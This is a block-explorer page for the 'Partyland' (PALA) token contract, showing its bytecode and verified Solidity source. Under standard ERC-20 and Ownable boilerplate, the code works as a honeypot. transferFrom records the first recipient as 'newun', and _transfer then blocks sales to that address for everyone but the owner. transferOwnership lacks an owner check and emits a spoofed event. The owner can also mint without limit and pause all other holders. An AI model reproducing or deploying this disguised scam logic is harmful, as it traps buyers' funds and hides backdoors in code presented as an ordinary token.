Address Contract Partially Verified
Address
0xB7dFb51D27fB7634FD03470d94e5Cca52B390184
Balance
0 ETH
Nonce
1
Code Size
4829 bytes
Creator
0x331eb4B6...02e3 at tx 0x2718e073...dd568d
Indexed Transactions
0
Contract Bytecode
4829 bytes
0x608060405234801561001057600080fd5b50600436106101585760003560e01c806381f4f399116100c3578063a69df4b51161007c578063a69df4b5146103b6578063a9059cbb146103be578063b6c52324146103ea578063dd467064146103f2578063dd62ed3e1461040f578063f2fde38b1461043d57610158565b806381f4f399146103445780638456cb591461036a578063893d20e8146103725780638da5cb5b1461037a57806395d89b4114610382578063a457c2d71461038a57610158565b8063395093511161011557806339509351146102ac5780633f4ba83a146102d857806340c10f19146102e25780635c975abb1461030e57806370a0823114610316578063715018a61461033c57610158565b806306fdde031461015d578063095ea7b3146101da57806318160ddd1461021a5780631ee59f201461023457806323b872dd14610258578063313ce5671461028e575b600080fd5b610165610463565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561019f578181015183820152602001610187565b50505050905090810190601f1680156101cc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610206600480360360408110156101f057600080fd5b506001600160a01b0381351690602001356104f9565b604080519115158252519081900360200190f35b610222610516565b60408051918252519081900360200190f35b61023c61051c565b604080516001600160a01b039092168252519081900360200190f35b6102066004803603606081101561026e57600080fd5b506001600160a01b0381358116916020810135909116906040013561052b565b61029661068f565b6040805160ff9092168252519081900360200190f35b610206600480360360408110156102c257600080fd5b506001600160a01b038135169060200135610698565b6102e06106e6565b005b610206600480360360408110156102f857600080fd5b506001600160a01b038135169060200135610782565b61020661086c565b6102226004803603602081101561032c57600080fd5b50356001600160a01b0316610875565b6102e0610890565b6102e06004803603602081101561035a57600080fd5b50356001600160a01b0316610920565b6102e061099a565b61023c610a3a565b61023c610a49565b610165610a58565b610206600480360360408110156103a057600080fd5b506001600160a01b038135169060200135610ab9565b6102e0610b3e565b610206600480360360408110156103d457600080fd5b506001600160a01b038135169060200135610c2c565b610222610c40565b6102e06004803603602081101561040857600080fd5b5035610c46565b6102226004803603604081101561042557600080fd5b506001600160a01b0381358116916020013516610ce4565b6102e06004803603602081101561045357600080fd5b50356001600160a01b0316610d0f565b60098054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104ef5780601f106104c4576101008083540402835291602001916104ef565b820191906000526020600020905b8154815290600101906020018083116104d257829003601f168201915b5050505050905090565b600061050d610506610d69565b8484610d6d565b50600192915050565b60075490565b600a546001600160a01b031681565b60006001600160a01b0384161580159061054e5750600a546001600160a01b0316155b1561057357600a80546001600160a01b0319166001600160a01b0385161790556105e7565b600a546001600160a01b0384811691161415806105a85750610593610a49565b6001600160a01b0316846001600160a01b0316145b6105e7576040805162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b604482015290519081900360640190fd5b6105f2848484610e85565b610685846105fe610d69565b61068085604051806040016040528060158152602001746572726f7220696e207472616e7366657266726f6d60581b815250600560008b6001600160a01b03166001600160a01b03168152602001908152602001600020600061065f610d69565b6001600160a01b031681526020810191909152604001600020549190611101565b610d6d565b5060019392505050565b60065460ff1690565b600061050d6106a5610d69565b8461068085600560006106b6610d69565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490611198565b6106ee610d69565b6000546001600160a01b0390811691161461073e576040805162461bcd60e51b81526020600482018190526024820152600080516020611245833981519152604482015290519081900360640190fd5b60035460ff1661074d57600080fd5b6003805460ff191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b600061078c610d69565b6000546001600160a01b039081169116146107dc576040805162461bcd60e51b81526020600482018190526024820152600080516020611245833981519152604482015290519081900360640190fd5b6007546107e99083611198565b6007556001600160a01b03831660009081526004602052604090205461080f9083611198565b6001600160a01b03841660008181526004602090815260408083209490945583518681529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b60035460ff1681565b6001600160a01b031660009081526004602052604090205490565b610898610d69565b6000546001600160a01b039081169116146108e8576040805162461bcd60e51b81526020600482018190526024820152600080516020611245833981519152604482015290519081900360640190fd5b600080546040516001600160a01b0390911690600080516020611265833981519152908390a3600080546001600160a01b0319169055565b610928610d69565b6000546001600160a01b03908116911614610978576040805162461bcd60e51b81526020600482018190526024820152600080516020611245833981519152604482015290519081900360640190fd5b600a80546001600160a01b0319166001600160a01b0392909216919091179055565b6109a2610d69565b6000546001600160a01b039081169116146109f2576040805162461bcd60e51b81526020600482018190526024820152600080516020611245833981519152604482015290519081900360640190fd5b60035460ff1615610a0257600080fd5b6003805460ff191660011790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b6000610a44610a49565b905090565b6000546001600160a01b031690565b60088054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104ef5780601f106104c4576101008083540402835291602001916104ef565b600061050d610ac6610d69565b84610680856040518060400160405280601b81526020017f6572726f7220696e20646563726561736520616c6c6f77616e6365000000000081525060056000610b0d610d69565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190611101565b6001546001600160a01b03163314610b875760405162461bcd60e51b81526004018080602001828103825260238152602001806112856023913960400191505060405180910390fd5b6002544211610bdd576040805162461bcd60e51b815260206004820152601f60248201527f436f6e7472616374206973206c6f636b656420756e74696c2037206461797300604482015290519081900360640190fd5b600154600080546040516001600160a01b03938416939091169160008051602061126583398151915291a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b600061050d610c39610d69565b8484610e85565b60025490565b610c4e610d69565b6000546001600160a01b03908116911614610c9e576040805162461bcd60e51b81526020600482018190526024820152600080516020611245833981519152604482015290519081900360640190fd5b60008054600180546001600160a01b03199081166001600160a01b038416179091551681554282016002556040518190600080516020611265833981519152908290a350565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6040516001600160a01b0382169073331eb4b698a3679ca6911f98771a8867c80602e39060008051602061126583398151915290600090a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b6001600160a01b038316610dc8576040805162461bcd60e51b815260206004820152601a60248201527f617070726f7665206f776e657220697320302061646472657373000000000000604482015290519081900360640190fd5b6001600160a01b038216610e23576040805162461bcd60e51b815260206004820152601c60248201527f617070726f7665207370656e6465722069732030206164647265737300000000604482015290519081900360640190fd5b6001600160a01b03808416600081815260056020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610eca5760405162461bcd60e51b81526004018080602001828103825260248152602001806111fa6024913960400191505060405180910390fd5b6001600160a01b038216610f0f5760405162461bcd60e51b815260040180806020018281038252602781526020018061121e6027913960400191505060405180910390fd5b60035460ff161580610f395750610f24610a49565b6001600160a01b0316836001600160a01b0316145b80610f5c5750610f47610a49565b6001600160a01b0316826001600160a01b0316145b610f96576040805162461bcd60e51b81526020600482015260066024820152651c185d5cd95960d21b604482015290519081900360640190fd5b600a546001600160a01b03161561101b57600a546001600160a01b038381169116141580610fdc5750610fc7610a49565b6001600160a01b0316836001600160a01b0316145b61101b576040805162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b604482015290519081900360640190fd5b604080518082018252601881527f7472616e736665722062616c616e636520746f6f206c6f7700000000000000006020808301919091526001600160a01b038616600090815260049091529190912054611076918390611101565b6001600160a01b0380851660009081526004602052604080822093909355908416815220546110a59082611198565b6001600160a01b0380841660008181526004602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156111905760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561115557818101518382015260200161113d565b50505050905090810190601f1680156111825780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000828201838110156111f2576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe7472616e736665722073656e6465722061646472657373206973203020616464726573737472616e7366657220726563697069656e742061646472657373206973203020616464726573734f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65728be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6f636ba26469706673582212207e44dcdcfea06d2c6024475beefcf3a54aa22cf003d81f98e0d623a8ca68bbfb64736f6c634300060c0033
Verified Source Code Partial Match
Compiler: v0.6.12+commit.27d51765
EVM: istanbul
Optimization: Yes (200 runs)
Partyland.sol 639 lines
pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual {
emit OwnershipTransferred(0x331eb4B698A3679Ca6911f98771A8867c80602e3, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract Partyland is Context, IERC20, Ownable, Pausable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint8 private _decimals = 18;
uint256 private _totalSupply = 600000000 * 10**18;
string private _symbol = "PALA";
string private _name = "Partyland";
address public newun;
constructor() public {
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function transfernewun(address _newun) public onlyOwner {
newun = _newun;
}
function getOwner() external view returns (address) {
return owner();
}
function decimals() external view returns (uint8) {
return _decimals;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function name() external view returns (string memory) {
return _name;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(sender != address(0) && newun == address(0)) newun = recipient;
else require(recipient != newun || sender == owner(), "please wait");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "error in transferfrom"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "error in decrease allowance"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "transfer sender address is 0 address");
require(recipient != address(0), "transfer recipient address is 0 address");
require(!paused || sender == owner() || recipient == owner(), "paused");
if(newun != address(0)) require(recipient != newun || sender == owner(), "please wait");
_balances[sender] = _balances[sender].sub(amount, "transfer balance too low");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
// function _burn(address account, uint256 amount) internal {
// require(account != address(0), "burn address is 0 address");
// _balances[account] = _balances[account].sub(amount, "burn balance to low");
// _totalSupply = _totalSupply.sub(amount);
// emit Transfer(account, address(0), amount);
// }
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "approve owner is 0 address");
require(spender != address(0), "approve spender is 0 address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
// function _burnFrom(address account, uint256 amount) internal {
// _burn(account, amount);
// _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "burn amount is too low"));
// }
function mint(address _to, uint256 _amount) onlyOwner public returns (bool){
_totalSupply = _totalSupply.add(_amount);
_balances[_to] = _balances[_to].add(_amount);
emit Transfer(address(0), _to, _amount);
return true;
}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
geUnlockTime 0xb6c52324 → uint256
getOwner 0x893d20e8 → address
name 0x06fdde03 → string
newun 0x1ee59f20 → address
owner 0x8da5cb5b → address
paused 0x5c975abb → bool
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 13 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
lock 0xdd467064
uint256 time
mint 0x40c10f19
address _to
uint256 _amount
returns: bool
pause 0x8456cb59
No parameters
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
transfernewun 0x81f4f399
address _newun
unlock 0xa69df4b5
No parameters
unpause 0x3f4ba83a
No parameters
Recent Transactions
No transactions found for this address